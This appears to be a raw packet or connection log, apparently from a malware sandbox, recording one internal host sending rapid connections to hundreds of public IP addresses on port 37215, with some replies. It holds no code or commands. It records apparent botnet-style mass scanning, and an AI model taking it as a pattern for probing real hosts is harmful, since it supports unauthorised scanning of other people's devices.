Oct 8, 2024 20:34:58.597773075 CEST	48169	37215	192.168.2.14	156.11.63.66
Oct 8, 2024 20:34:58.597773075 CEST	48169	37215	192.168.2.14	197.136.220.117
Oct 8, 2024 20:34:58.597778082 CEST	48169	37215	192.168.2.14	197.239.227.249
Oct 8, 2024 20:34:58.597778082 CEST	48169	37215	192.168.2.14	41.65.238.238
Oct 8, 2024 20:34:58.597778082 CEST	48169	37215	192.168.2.14	41.111.45.24
Oct 8, 2024 20:34:58.597779036 CEST	48169	37215	192.168.2.14	156.98.41.14
Oct 8, 2024 20:34:58.597779036 CEST	48169	37215	192.168.2.14	41.239.232.94
Oct 8, 2024 20:34:58.597795963 CEST	48169	37215	192.168.2.14	156.56.11.190
Oct 8, 2024 20:34:58.597795963 CEST	48169	37215	192.168.2.14	41.74.162.221
Oct 8, 2024 20:34:58.597798109 CEST	48169	37215	192.168.2.14	41.185.130.129
Oct 8, 2024 20:34:58.597798109 CEST	48169	37215	192.168.2.14	156.41.106.223
Oct 8, 2024 20:34:58.597798109 CEST	48169	37215	192.168.2.14	156.117.13.93
Oct 8, 2024 20:34:58.597799063 CEST	48169	37215	192.168.2.14	41.210.143.31
Oct 8, 2024 20:34:58.597800016 CEST	48169	37215	192.168.2.14	197.154.138.236
Oct 8, 2024 20:34:58.597806931 CEST	48169	37215	192.168.2.14	41.214.77.212
Oct 8, 2024 20:34:58.597806931 CEST	48169	37215	192.168.2.14	41.139.122.227
Oct 8, 2024 20:34:58.597806931 CEST	48169	37215	192.168.2.14	197.84.88.113
Oct 8, 2024 20:34:58.597807884 CEST	48169	37215	192.168.2.14	156.14.172.104
Oct 8, 2024 20:34:58.597806931 CEST	48169	37215	192.168.2.14	41.222.235.238
Oct 8, 2024 20:34:58.597807884 CEST	48169	37215	192.168.2.14	41.208.27.10
Oct 8, 2024 20:34:58.597807884 CEST	48169	37215	192.168.2.14	41.191.164.14
Oct 8, 2024 20:34:58.597807884 CEST	48169	37215	192.168.2.14	41.161.211.204
Oct 8, 2024 20:34:58.597815037 CEST	48169	37215	192.168.2.14	197.35.202.204
Oct 8, 2024 20:34:58.597815990 CEST	48169	37215	192.168.2.14	41.128.144.98
Oct 8, 2024 20:34:58.597815990 CEST	48169	37215	192.168.2.14	41.89.40.142
Oct 8, 2024 20:34:58.597842932 CEST	48169	37215	192.168.2.14	197.217.98.235
Oct 8, 2024 20:34:58.597860098 CEST	48169	37215	192.168.2.14	156.234.76.54
Oct 8, 2024 20:34:58.597863913 CEST	48169	37215	192.168.2.14	156.120.25.0
Oct 8, 2024 20:34:58.597863913 CEST	48169	37215	192.168.2.14	41.99.66.169
Oct 8, 2024 20:34:58.597863913 CEST	48169	37215	192.168.2.14	41.122.229.25
Oct 8, 2024 20:34:58.597863913 CEST	48169	37215	192.168.2.14	41.186.255.124
Oct 8, 2024 20:34:58.597863913 CEST	48169	37215	192.168.2.14	156.220.23.118
Oct 8, 2024 20:34:58.597873926 CEST	48169	37215	192.168.2.14	197.62.145.70
Oct 8, 2024 20:34:58.597873926 CEST	48169	37215	192.168.2.14	156.102.230.167
Oct 8, 2024 20:34:58.597873926 CEST	48169	37215	192.168.2.14	41.227.90.33
Oct 8, 2024 20:34:58.597886086 CEST	48169	37215	192.168.2.14	156.221.142.214
Oct 8, 2024 20:34:58.597886086 CEST	48169	37215	192.168.2.14	156.32.245.55
Oct 8, 2024 20:34:58.597886086 CEST	48169	37215	192.168.2.14	197.221.54.179
Oct 8, 2024 20:34:58.597886086 CEST	48169	37215	192.168.2.14	156.230.125.134
Oct 8, 2024 20:34:58.597887993 CEST	48169	37215	192.168.2.14	41.24.25.123
Oct 8, 2024 20:34:58.597887039 CEST	48169	37215	192.168.2.14	41.197.105.88
Oct 8, 2024 20:34:58.597888947 CEST	48169	37215	192.168.2.14	197.29.24.102
Oct 8, 2024 20:34:58.597896099 CEST	48169	37215	192.168.2.14	197.243.153.2
Oct 8, 2024 20:34:58.597896099 CEST	48169	37215	192.168.2.14	156.190.69.253
Oct 8, 2024 20:34:58.597896099 CEST	48169	37215	192.168.2.14	156.26.27.90
Oct 8, 2024 20:34:58.597901106 CEST	48169	37215	192.168.2.14	41.48.67.186
Oct 8, 2024 20:34:58.597901106 CEST	48169	37215	192.168.2.14	197.50.151.118
Oct 8, 2024 20:34:58.597901106 CEST	48169	37215	192.168.2.14	156.91.87.57
Oct 8, 2024 20:34:58.597901106 CEST	48169	37215	192.168.2.14	156.196.181.14
Oct 8, 2024 20:34:58.597903967 CEST	48169	37215	192.168.2.14	41.213.196.195
Oct 8, 2024 20:34:58.597912073 CEST	48169	37215	192.168.2.14	197.39.133.21
Oct 8, 2024 20:34:58.597912073 CEST	48169	37215	192.168.2.14	156.182.253.235
Oct 8, 2024 20:34:58.597913027 CEST	48169	37215	192.168.2.14	41.100.2.108
Oct 8, 2024 20:34:58.597912073 CEST	48169	37215	192.168.2.14	41.120.88.68
Oct 8, 2024 20:34:58.597923040 CEST	48169	37215	192.168.2.14	197.114.100.75
Oct 8, 2024 20:34:58.597923040 CEST	48169	37215	192.168.2.14	197.13.119.234
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	41.64.222.111
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	156.44.126.247
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	156.235.220.191
Oct 8, 2024 20:34:58.597940922 CEST	48169	37215	192.168.2.14	197.61.26.121
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	41.88.211.141
Oct 8, 2024 20:34:58.597940922 CEST	48169	37215	192.168.2.14	197.120.134.197
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	197.167.39.244
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	156.200.184.102
Oct 8, 2024 20:34:58.597940922 CEST	48169	37215	192.168.2.14	156.244.204.169
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	197.176.64.60
Oct 8, 2024 20:34:58.597940922 CEST	48169	37215	192.168.2.14	41.205.219.0
Oct 8, 2024 20:34:58.597940922 CEST	48169	37215	192.168.2.14	156.205.138.117
Oct 8, 2024 20:34:58.597939968 CEST	48169	37215	192.168.2.14	156.102.237.67
Oct 8, 2024 20:34:58.597940922 CEST	48169	37215	192.168.2.14	156.26.9.236
Oct 8, 2024 20:34:58.597963095 CEST	48169	37215	192.168.2.14	156.210.52.29
Oct 8, 2024 20:34:58.597964048 CEST	48169	37215	192.168.2.14	197.67.226.66
Oct 8, 2024 20:34:58.597965956 CEST	48169	37215	192.168.2.14	156.77.97.177
Oct 8, 2024 20:34:58.597965956 CEST	48169	37215	192.168.2.14	41.111.12.44
Oct 8, 2024 20:34:58.597966909 CEST	48169	37215	192.168.2.14	156.57.129.39
Oct 8, 2024 20:34:58.597968102 CEST	48169	37215	192.168.2.14	41.48.245.56
Oct 8, 2024 20:34:58.597968102 CEST	48169	37215	192.168.2.14	197.63.205.121
Oct 8, 2024 20:34:58.597968102 CEST	48169	37215	192.168.2.14	41.101.132.80
Oct 8, 2024 20:34:58.597968102 CEST	48169	37215	192.168.2.14	156.135.157.104
Oct 8, 2024 20:34:58.597969055 CEST	48169	37215	192.168.2.14	156.140.181.121
Oct 8, 2024 20:34:58.597969055 CEST	48169	37215	192.168.2.14	197.212.246.173
Oct 8, 2024 20:34:58.597969055 CEST	48169	37215	192.168.2.14	156.208.82.228
Oct 8, 2024 20:34:58.597970963 CEST	48169	37215	192.168.2.14	156.119.186.114
Oct 8, 2024 20:34:58.597970009 CEST	48169	37215	192.168.2.14	41.10.238.29
Oct 8, 2024 20:34:58.597970963 CEST	48169	37215	192.168.2.14	41.233.149.226
Oct 8, 2024 20:34:58.597970009 CEST	48169	37215	192.168.2.14	156.228.29.18
Oct 8, 2024 20:34:58.597974062 CEST	48169	37215	192.168.2.14	197.36.96.234
Oct 8, 2024 20:34:58.597975016 CEST	48169	37215	192.168.2.14	197.201.212.90
Oct 8, 2024 20:34:58.597970009 CEST	48169	37215	192.168.2.14	197.61.54.167
Oct 8, 2024 20:34:58.597975016 CEST	48169	37215	192.168.2.14	41.224.206.163
Oct 8, 2024 20:34:58.597975016 CEST	48169	37215	192.168.2.14	41.25.140.134
Oct 8, 2024 20:34:58.597974062 CEST	48169	37215	192.168.2.14	197.191.80.213
Oct 8, 2024 20:34:58.597975016 CEST	48169	37215	192.168.2.14	156.49.127.188
Oct 8, 2024 20:34:58.597978115 CEST	48169	37215	192.168.2.14	41.157.112.191
Oct 8, 2024 20:34:58.597970963 CEST	48169	37215	192.168.2.14	41.127.67.221
Oct 8, 2024 20:34:58.597985029 CEST	48169	37215	192.168.2.14	156.139.226.235
Oct 8, 2024 20:34:58.597978115 CEST	48169	37215	192.168.2.14	197.136.29.101
Oct 8, 2024 20:34:58.597985029 CEST	48169	37215	192.168.2.14	156.117.129.181
Oct 8, 2024 20:34:58.597978115 CEST	48169	37215	192.168.2.14	197.132.16.57
Oct 8, 2024 20:34:58.597995043 CEST	48169	37215	192.168.2.14	197.247.61.254
Oct 8, 2024 20:34:58.597995043 CEST	48169	37215	192.168.2.14	41.12.105.177
Oct 8, 2024 20:34:58.597999096 CEST	48169	37215	192.168.2.14	41.50.55.167
Oct 8, 2024 20:34:58.598000050 CEST	48169	37215	192.168.2.14	197.188.157.249
Oct 8, 2024 20:34:58.597999096 CEST	48169	37215	192.168.2.14	156.122.210.2
Oct 8, 2024 20:34:58.598000050 CEST	48169	37215	192.168.2.14	197.221.169.18
Oct 8, 2024 20:34:58.598001003 CEST	48169	37215	192.168.2.14	197.154.31.105
Oct 8, 2024 20:34:58.598014116 CEST	48169	37215	192.168.2.14	156.236.51.161
Oct 8, 2024 20:34:58.598016977 CEST	48169	37215	192.168.2.14	197.234.98.230
Oct 8, 2024 20:34:58.598017931 CEST	48169	37215	192.168.2.14	156.227.220.215
Oct 8, 2024 20:34:58.598017931 CEST	48169	37215	192.168.2.14	41.235.233.223
Oct 8, 2024 20:34:58.598017931 CEST	48169	37215	192.168.2.14	156.107.209.216
Oct 8, 2024 20:34:58.598026991 CEST	48169	37215	192.168.2.14	156.155.196.126
Oct 8, 2024 20:34:58.598027945 CEST	48169	37215	192.168.2.14	197.126.34.182
Oct 8, 2024 20:34:58.598027945 CEST	48169	37215	192.168.2.14	156.109.225.55
Oct 8, 2024 20:34:58.598037958 CEST	48169	37215	192.168.2.14	156.89.14.166
Oct 8, 2024 20:34:58.598037958 CEST	48169	37215	192.168.2.14	41.168.200.50
Oct 8, 2024 20:34:58.598038912 CEST	48169	37215	192.168.2.14	197.233.182.182
Oct 8, 2024 20:34:58.598045111 CEST	48169	37215	192.168.2.14	197.87.103.27
Oct 8, 2024 20:34:58.598045111 CEST	48169	37215	192.168.2.14	41.118.169.42
Oct 8, 2024 20:34:58.598045111 CEST	48169	37215	192.168.2.14	197.26.247.6
Oct 8, 2024 20:34:58.598045111 CEST	48169	37215	192.168.2.14	197.234.202.212
Oct 8, 2024 20:34:58.598045111 CEST	48169	37215	192.168.2.14	41.39.241.29
Oct 8, 2024 20:34:58.598056078 CEST	48169	37215	192.168.2.14	156.41.39.221
Oct 8, 2024 20:34:58.598057032 CEST	48169	37215	192.168.2.14	197.24.79.67
Oct 8, 2024 20:34:58.598057032 CEST	48169	37215	192.168.2.14	41.64.230.176
Oct 8, 2024 20:34:58.598057032 CEST	48169	37215	192.168.2.14	197.133.232.218
Oct 8, 2024 20:34:58.598057032 CEST	48169	37215	192.168.2.14	41.179.255.236
Oct 8, 2024 20:34:58.598057032 CEST	48169	37215	192.168.2.14	41.70.191.133
Oct 8, 2024 20:34:58.598057032 CEST	48169	37215	192.168.2.14	197.237.224.6
Oct 8, 2024 20:34:58.598057032 CEST	48169	37215	192.168.2.14	197.127.51.117
Oct 8, 2024 20:34:58.598058939 CEST	48169	37215	192.168.2.14	156.244.172.195
Oct 8, 2024 20:34:58.598058939 CEST	48169	37215	192.168.2.14	41.179.221.143
Oct 8, 2024 20:34:58.598058939 CEST	48169	37215	192.168.2.14	156.144.0.134
Oct 8, 2024 20:34:58.598064899 CEST	48169	37215	192.168.2.14	41.107.47.226
Oct 8, 2024 20:34:58.598067045 CEST	48169	37215	192.168.2.14	156.233.5.71
Oct 8, 2024 20:34:58.598067045 CEST	48169	37215	192.168.2.14	156.135.35.27
Oct 8, 2024 20:34:58.598072052 CEST	48169	37215	192.168.2.14	156.15.0.152
Oct 8, 2024 20:34:58.598073006 CEST	48169	37215	192.168.2.14	156.37.87.118
Oct 8, 2024 20:34:58.598081112 CEST	48169	37215	192.168.2.14	197.249.155.47
Oct 8, 2024 20:34:58.598073006 CEST	48169	37215	192.168.2.14	41.232.35.181
Oct 8, 2024 20:34:58.598073006 CEST	48169	37215	192.168.2.14	41.41.154.209
Oct 8, 2024 20:34:58.598073006 CEST	48169	37215	192.168.2.14	156.10.158.129
Oct 8, 2024 20:34:58.598084927 CEST	48169	37215	192.168.2.14	41.191.166.138
Oct 8, 2024 20:34:58.598084927 CEST	48169	37215	192.168.2.14	41.158.17.5
Oct 8, 2024 20:34:58.598084927 CEST	48169	37215	192.168.2.14	41.104.184.254
Oct 8, 2024 20:34:58.598090887 CEST	48169	37215	192.168.2.14	41.156.80.110
Oct 8, 2024 20:34:58.598094940 CEST	48169	37215	192.168.2.14	197.176.105.184
Oct 8, 2024 20:34:58.598094940 CEST	48169	37215	192.168.2.14	41.9.235.79
Oct 8, 2024 20:34:58.598095894 CEST	48169	37215	192.168.2.14	156.109.53.76
Oct 8, 2024 20:34:58.598098993 CEST	48169	37215	192.168.2.14	41.4.127.132
Oct 8, 2024 20:34:58.598099947 CEST	48169	37215	192.168.2.14	197.116.229.251
Oct 8, 2024 20:34:58.598105907 CEST	48169	37215	192.168.2.14	41.32.206.234
Oct 8, 2024 20:34:58.598109007 CEST	48169	37215	192.168.2.14	156.16.221.214
Oct 8, 2024 20:34:58.598119974 CEST	48169	37215	192.168.2.14	41.77.21.155
Oct 8, 2024 20:34:58.598120928 CEST	48169	37215	192.168.2.14	197.210.12.242
Oct 8, 2024 20:34:58.598120928 CEST	48169	37215	192.168.2.14	197.165.104.68
Oct 8, 2024 20:34:58.598135948 CEST	48169	37215	192.168.2.14	197.82.186.218
Oct 8, 2024 20:34:58.598144054 CEST	48169	37215	192.168.2.14	156.9.69.191
Oct 8, 2024 20:34:58.598144054 CEST	48169	37215	192.168.2.14	197.248.143.206
Oct 8, 2024 20:34:58.598148108 CEST	48169	37215	192.168.2.14	156.197.198.247
Oct 8, 2024 20:34:58.598160028 CEST	48169	37215	192.168.2.14	197.239.171.70
Oct 8, 2024 20:34:58.598160028 CEST	48169	37215	192.168.2.14	197.65.162.158
Oct 8, 2024 20:34:58.598170042 CEST	48169	37215	192.168.2.14	41.159.129.47
Oct 8, 2024 20:34:58.598181963 CEST	48169	37215	192.168.2.14	156.71.235.30
Oct 8, 2024 20:34:58.598182917 CEST	48169	37215	192.168.2.14	41.205.207.180
Oct 8, 2024 20:34:58.598187923 CEST	48169	37215	192.168.2.14	197.150.163.70
Oct 8, 2024 20:34:58.598191977 CEST	48169	37215	192.168.2.14	41.14.146.20
Oct 8, 2024 20:34:58.598207951 CEST	48169	37215	192.168.2.14	156.239.38.216
Oct 8, 2024 20:34:58.598207951 CEST	48169	37215	192.168.2.14	156.72.196.128
Oct 8, 2024 20:34:58.598207951 CEST	48169	37215	192.168.2.14	156.61.91.193
Oct 8, 2024 20:34:58.598215103 CEST	48169	37215	192.168.2.14	156.186.188.226
Oct 8, 2024 20:34:58.598216057 CEST	48169	37215	192.168.2.14	156.12.21.97
Oct 8, 2024 20:34:58.598231077 CEST	48169	37215	192.168.2.14	41.1.138.227
Oct 8, 2024 20:34:58.598232031 CEST	48169	37215	192.168.2.14	156.24.12.194
Oct 8, 2024 20:34:58.598232031 CEST	48169	37215	192.168.2.14	156.217.175.135
Oct 8, 2024 20:34:58.598247051 CEST	48169	37215	192.168.2.14	197.13.79.231
Oct 8, 2024 20:34:58.598259926 CEST	48169	37215	192.168.2.14	41.163.114.12
Oct 8, 2024 20:34:58.598264933 CEST	48169	37215	192.168.2.14	197.17.109.212
Oct 8, 2024 20:34:58.598264933 CEST	48169	37215	192.168.2.14	156.118.251.5
Oct 8, 2024 20:34:58.598269939 CEST	48169	37215	192.168.2.14	156.11.173.48
Oct 8, 2024 20:34:58.598275900 CEST	48169	37215	192.168.2.14	41.120.120.34
Oct 8, 2024 20:34:58.598288059 CEST	48169	37215	192.168.2.14	197.92.95.76
Oct 8, 2024 20:34:58.598297119 CEST	48169	37215	192.168.2.14	156.2.29.207
Oct 8, 2024 20:34:58.598300934 CEST	48169	37215	192.168.2.14	156.68.28.129
Oct 8, 2024 20:34:58.598303080 CEST	48169	37215	192.168.2.14	156.13.35.250
Oct 8, 2024 20:34:58.598303080 CEST	48169	37215	192.168.2.14	156.46.51.239
Oct 8, 2024 20:34:58.598315001 CEST	48169	37215	192.168.2.14	197.236.82.250
Oct 8, 2024 20:34:58.598328114 CEST	48169	37215	192.168.2.14	41.217.129.61
Oct 8, 2024 20:34:58.598330021 CEST	48169	37215	192.168.2.14	156.93.100.1
Oct 8, 2024 20:34:58.598331928 CEST	48169	37215	192.168.2.14	156.210.213.195
Oct 8, 2024 20:34:58.598341942 CEST	48169	37215	192.168.2.14	41.181.247.58
Oct 8, 2024 20:34:58.598346949 CEST	48169	37215	192.168.2.14	156.7.53.147
Oct 8, 2024 20:34:58.598351002 CEST	48169	37215	192.168.2.14	156.74.27.47
Oct 8, 2024 20:34:58.598355055 CEST	48169	37215	192.168.2.14	41.9.87.137
Oct 8, 2024 20:34:58.598372936 CEST	48169	37215	192.168.2.14	197.126.172.252
Oct 8, 2024 20:34:58.598372936 CEST	48169	37215	192.168.2.14	156.90.135.231
Oct 8, 2024 20:34:58.598387957 CEST	48169	37215	192.168.2.14	156.219.21.168
Oct 8, 2024 20:34:58.598391056 CEST	48169	37215	192.168.2.14	197.152.54.30
Oct 8, 2024 20:34:58.598403931 CEST	48169	37215	192.168.2.14	197.220.28.111
Oct 8, 2024 20:34:58.598407984 CEST	48169	37215	192.168.2.14	41.225.243.111
Oct 8, 2024 20:34:58.598407984 CEST	48169	37215	192.168.2.14	197.125.151.142
Oct 8, 2024 20:34:58.598413944 CEST	48169	37215	192.168.2.14	41.160.79.220
Oct 8, 2024 20:34:58.598413944 CEST	48169	37215	192.168.2.14	41.169.234.117
Oct 8, 2024 20:34:58.598436117 CEST	48169	37215	192.168.2.14	41.112.22.29
Oct 8, 2024 20:34:58.598436117 CEST	48169	37215	192.168.2.14	156.50.155.140
Oct 8, 2024 20:34:58.598448038 CEST	48169	37215	192.168.2.14	197.77.163.25
Oct 8, 2024 20:34:58.598448038 CEST	48169	37215	192.168.2.14	156.221.53.93
Oct 8, 2024 20:34:58.598453999 CEST	48169	37215	192.168.2.14	156.45.99.104
Oct 8, 2024 20:34:58.598464966 CEST	48169	37215	192.168.2.14	41.119.191.2
Oct 8, 2024 20:34:58.598481894 CEST	48169	37215	192.168.2.14	156.178.102.231
Oct 8, 2024 20:34:58.598481894 CEST	48169	37215	192.168.2.14	156.82.140.218
Oct 8, 2024 20:34:58.598481894 CEST	48169	37215	192.168.2.14	41.194.200.19
Oct 8, 2024 20:34:58.598489046 CEST	48169	37215	192.168.2.14	197.246.241.190
Oct 8, 2024 20:34:58.598495007 CEST	48169	37215	192.168.2.14	197.137.148.174
Oct 8, 2024 20:34:58.598495960 CEST	48169	37215	192.168.2.14	156.244.111.201
Oct 8, 2024 20:34:58.598496914 CEST	48169	37215	192.168.2.14	41.226.1.128
Oct 8, 2024 20:34:58.598509073 CEST	48169	37215	192.168.2.14	197.118.114.221
Oct 8, 2024 20:34:58.598511934 CEST	48169	37215	192.168.2.14	156.190.86.105
Oct 8, 2024 20:34:58.598519087 CEST	48169	37215	192.168.2.14	156.51.127.81
Oct 8, 2024 20:34:58.598529100 CEST	48169	37215	192.168.2.14	156.68.34.200
Oct 8, 2024 20:34:58.598531008 CEST	48169	37215	192.168.2.14	41.16.0.247
Oct 8, 2024 20:34:58.598531008 CEST	48169	37215	192.168.2.14	156.229.218.214
Oct 8, 2024 20:34:58.598556042 CEST	48169	37215	192.168.2.14	41.122.62.80
Oct 8, 2024 20:34:58.598561049 CEST	48169	37215	192.168.2.14	197.143.138.175
Oct 8, 2024 20:34:58.598560095 CEST	48169	37215	192.168.2.14	156.219.26.121
Oct 8, 2024 20:34:58.598567963 CEST	48169	37215	192.168.2.14	41.64.81.121
Oct 8, 2024 20:34:58.598576069 CEST	48169	37215	192.168.2.14	156.33.12.47
Oct 8, 2024 20:34:58.598592043 CEST	48169	37215	192.168.2.14	41.189.125.53
Oct 8, 2024 20:34:58.598592043 CEST	48169	37215	192.168.2.14	197.203.198.28
Oct 8, 2024 20:34:58.598592043 CEST	48169	37215	192.168.2.14	197.179.184.22
Oct 8, 2024 20:34:58.598592043 CEST	48169	37215	192.168.2.14	197.104.97.101
Oct 8, 2024 20:34:58.598596096 CEST	48169	37215	192.168.2.14	197.216.30.161
Oct 8, 2024 20:34:58.598628044 CEST	48169	37215	192.168.2.14	41.100.98.32
Oct 8, 2024 20:34:58.598640919 CEST	48169	37215	192.168.2.14	156.104.204.34
Oct 8, 2024 20:34:58.598642111 CEST	48169	37215	192.168.2.14	41.208.226.12
Oct 8, 2024 20:34:58.598643064 CEST	48169	37215	192.168.2.14	41.137.207.104
Oct 8, 2024 20:34:58.598644018 CEST	48169	37215	192.168.2.14	197.224.196.193
Oct 8, 2024 20:34:58.598637104 CEST	48169	37215	192.168.2.14	41.171.154.50
Oct 8, 2024 20:34:58.598645926 CEST	48169	37215	192.168.2.14	156.126.72.223
Oct 8, 2024 20:34:58.598645926 CEST	48169	37215	192.168.2.14	156.216.178.244
Oct 8, 2024 20:34:58.598637104 CEST	48169	37215	192.168.2.14	197.208.62.196
Oct 8, 2024 20:34:58.598645926 CEST	48169	37215	192.168.2.14	197.253.115.8
Oct 8, 2024 20:34:58.598637104 CEST	48169	37215	192.168.2.14	156.215.137.116
Oct 8, 2024 20:34:58.598656893 CEST	48169	37215	192.168.2.14	156.16.239.154
Oct 8, 2024 20:34:58.598656893 CEST	48169	37215	192.168.2.14	197.254.237.201
Oct 8, 2024 20:34:58.598660946 CEST	48169	37215	192.168.2.14	41.89.38.222
Oct 8, 2024 20:34:58.598661900 CEST	48169	37215	192.168.2.14	197.44.183.209
Oct 8, 2024 20:34:58.598660946 CEST	48169	37215	192.168.2.14	156.181.80.35
Oct 8, 2024 20:34:58.598663092 CEST	48169	37215	192.168.2.14	156.247.196.9
Oct 8, 2024 20:34:58.598675966 CEST	48169	37215	192.168.2.14	41.143.197.238
Oct 8, 2024 20:34:58.598675966 CEST	48169	37215	192.168.2.14	156.196.97.134
Oct 8, 2024 20:34:58.598680973 CEST	48169	37215	192.168.2.14	197.148.199.155
Oct 8, 2024 20:34:58.598680973 CEST	48169	37215	192.168.2.14	156.90.174.247
Oct 8, 2024 20:34:58.598680973 CEST	48169	37215	192.168.2.14	41.113.83.40
Oct 8, 2024 20:34:58.598681927 CEST	48169	37215	192.168.2.14	156.190.250.228
Oct 8, 2024 20:34:58.598681927 CEST	48169	37215	192.168.2.14	156.246.121.8
Oct 8, 2024 20:34:58.598684072 CEST	48169	37215	192.168.2.14	41.44.9.239
Oct 8, 2024 20:34:58.598684072 CEST	48169	37215	192.168.2.14	41.245.107.96
Oct 8, 2024 20:34:58.598684072 CEST	48169	37215	192.168.2.14	197.253.62.87
Oct 8, 2024 20:34:58.598684072 CEST	48169	37215	192.168.2.14	197.86.28.163
Oct 8, 2024 20:34:58.598684072 CEST	48169	37215	192.168.2.14	41.163.73.126
Oct 8, 2024 20:34:58.598684072 CEST	48169	37215	192.168.2.14	156.75.197.10
Oct 8, 2024 20:34:58.598687887 CEST	48169	37215	192.168.2.14	41.199.66.80
Oct 8, 2024 20:34:58.598684072 CEST	48169	37215	192.168.2.14	197.247.83.14
Oct 8, 2024 20:34:58.598694086 CEST	48169	37215	192.168.2.14	156.123.8.21
Oct 8, 2024 20:34:58.598697901 CEST	48169	37215	192.168.2.14	41.208.72.255
Oct 8, 2024 20:34:58.598699093 CEST	48169	37215	192.168.2.14	156.191.192.9
Oct 8, 2024 20:34:58.598697901 CEST	48169	37215	192.168.2.14	156.93.98.58
Oct 8, 2024 20:34:58.598704100 CEST	48169	37215	192.168.2.14	41.72.52.92
Oct 8, 2024 20:34:58.598704100 CEST	48169	37215	192.168.2.14	41.50.226.29
Oct 8, 2024 20:34:58.598699093 CEST	48169	37215	192.168.2.14	197.119.244.84
Oct 8, 2024 20:34:58.598710060 CEST	48169	37215	192.168.2.14	41.185.81.138
Oct 8, 2024 20:34:58.598712921 CEST	48169	37215	192.168.2.14	41.80.107.230
Oct 8, 2024 20:34:58.598714113 CEST	48169	37215	192.168.2.14	156.135.8.150
Oct 8, 2024 20:34:58.598746061 CEST	48169	37215	192.168.2.14	156.42.211.205
Oct 8, 2024 20:34:58.598748922 CEST	48169	37215	192.168.2.14	197.78.129.86
Oct 8, 2024 20:34:58.598751068 CEST	48169	37215	192.168.2.14	41.212.193.39
Oct 8, 2024 20:34:58.598751068 CEST	48169	37215	192.168.2.14	41.95.244.232
Oct 8, 2024 20:34:58.598752022 CEST	48169	37215	192.168.2.14	156.184.129.30
Oct 8, 2024 20:34:58.598752022 CEST	48169	37215	192.168.2.14	156.207.253.251
Oct 8, 2024 20:34:58.598901033 CEST	45628	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:58.598901033 CEST	45628	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:58.599685907 CEST	45938	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:58.600244999 CEST	34952	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:58.600260019 CEST	34952	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:58.600704908 CEST	35262	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:58.601268053 CEST	42350	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:58.601268053 CEST	42350	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:58.601686954 CEST	42658	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:58.602210045 CEST	47628	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:58.602210045 CEST	47628	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:58.602627039 CEST	47934	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:58.603168964 CEST	46902	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.603168964 CEST	46902	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.603569031 CEST	47206	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.603657961 CEST	37215	48169	41.125.67.250	192.168.2.14
Oct 8, 2024 20:34:58.603720903 CEST	48169	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:58.603760004 CEST	37215	48169	41.56.138.239	192.168.2.14
Oct 8, 2024 20:34:58.603769064 CEST	37215	48169	156.174.103.73	192.168.2.14
Oct 8, 2024 20:34:58.603777885 CEST	37215	48169	156.176.7.254	192.168.2.14
Oct 8, 2024 20:34:58.603787899 CEST	37215	48169	197.177.162.81	192.168.2.14
Oct 8, 2024 20:34:58.603797913 CEST	37215	48169	197.204.33.127	192.168.2.14
Oct 8, 2024 20:34:58.603807926 CEST	37215	48169	197.179.205.141	192.168.2.14
Oct 8, 2024 20:34:58.603807926 CEST	48169	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:58.603811026 CEST	48169	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:58.603818893 CEST	37215	48169	197.220.219.212	192.168.2.14
Oct 8, 2024 20:34:58.603820086 CEST	48169	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:58.603830099 CEST	37215	48169	197.30.59.26	192.168.2.14
Oct 8, 2024 20:34:58.603832960 CEST	48169	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:58.603840113 CEST	37215	48169	41.189.232.28	192.168.2.14
Oct 8, 2024 20:34:58.603847980 CEST	48169	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:58.603851080 CEST	48169	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:58.603871107 CEST	48169	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:58.603872061 CEST	48169	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:58.603872061 CEST	48169	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:58.603925943 CEST	37215	48169	197.240.193.198	192.168.2.14
Oct 8, 2024 20:34:58.603935957 CEST	37215	48169	41.67.50.187	192.168.2.14
Oct 8, 2024 20:34:58.603945017 CEST	37215	48169	41.197.11.205	192.168.2.14
Oct 8, 2024 20:34:58.603955030 CEST	37215	48169	197.236.253.41	192.168.2.14
Oct 8, 2024 20:34:58.603965044 CEST	48169	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:58.603965044 CEST	48169	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:58.603975058 CEST	48169	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:58.603991032 CEST	48169	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:58.604100943 CEST	37215	48169	41.135.155.163	192.168.2.14
Oct 8, 2024 20:34:58.604110003 CEST	37215	48169	41.128.55.150	192.168.2.14
Oct 8, 2024 20:34:58.604120970 CEST	37215	48169	156.54.221.90	192.168.2.14
